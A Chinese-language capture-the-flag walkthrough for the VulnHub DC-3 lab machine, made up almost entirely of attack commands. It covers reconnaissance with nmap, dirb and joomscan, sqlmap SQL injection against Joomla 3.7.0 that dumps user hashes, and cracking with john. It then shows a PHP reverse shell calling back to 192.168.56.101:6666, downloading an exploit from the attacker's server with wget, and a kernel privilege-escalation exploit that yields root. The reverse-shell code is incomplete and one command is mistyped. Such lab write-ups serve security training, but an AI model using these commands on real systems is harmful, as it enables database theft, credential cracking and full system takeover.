1.环境搭建
靶机下载:https://www.vulnhub.com/entry/dc-32,312/
导入Oracle VM VirtualBox虚拟机,网络设置仅主机模式,网卡和kali使用同一网卡
启动靶机
2.渗透过程
使用namp工具扫描出靶机ip地址
nmap -sn 192.168.56.0/24
发现靶机IP地址,使用namp工具扫描靶机开启的端口
nmap -sS 192.168.56.114 -p-
发现80端口使用浏览器访问
http://192.168.56.114
使用dirb工具扫描网站目录
dirb http://192.168.56.114
发现敏感目录,使用浏览器访问该目录
http://192.168.56.114/administrator/
发现是joomla框架,使用joomscan工具扫描网站
joomscan --url http://192.168.56.114
扫描出来发现joomla框架是3.7.0版本的,搜索一下该版本的洞
searchsploit joomla 3.7.0
这里使用42033.txt这个文件
searchsploit -m 42033.txt 42033.txt
使用cat命令查看一下其内容
cat 42033.txt
使用sqlmap工具查找数据库名
sqlmap -u "http://192.168.56.114/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
使用sqlmap命令查找表名
sqlmap -u "http://192.168.56.114/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
查找字段名
sqlmap -u "http://192.168.56.114/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
查找字段值
sqlmap -u "http://192.168.56.114/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C id,username,password --dump -p list[fullordering]
发现admin的哈希值,将哈希值放到txt文件中
vim 1.txt
使用john爆破哈希值
'
john 1.txt
查看爆破出来的哈希值
john --show 1.txt
密码是snoopy,使用amdin用户名登陆
登陆成功, 发现一下这个地方存在命令执行
使用php代码写反弹shell代码
$sock = fsockopen("192.168.56.101", "6666");
$a = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$b = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($b);
监听6666端口
nc -lvp 6666
浏览器访问index.php
http://192.168.56.114/index.php
反弹shell成功
使用python切换交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
进入root目录需要root权限,查看linux内核版本
cat /etc/issue
搜索该版本的漏洞
searchsploit Ubuntu 16.04
对比搜索引擎搜索该版本漏洞,使用39772.txt的漏洞
searchsploit -m 39772.txt 39772.txt
查看该文件
cat 39772.txt
发现这里有下载连接
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
使用unzip解压
unzip 39772.zip
进入目录
开启临时http服务
python3 -m http:server 8000
在反弹shell中使用wget命令,下载压缩包
wget http://192.168.56.101:8000/exploit.tar
下载成功,解压
tar -xvf exploit.tar
进入目录
cd ebpf_mapfd_doubleput_exploit
ls
执行脚本
./compile.sh
./doubleput
进入/root目录,查看flag
cd /root
ls
cat the-flag.txt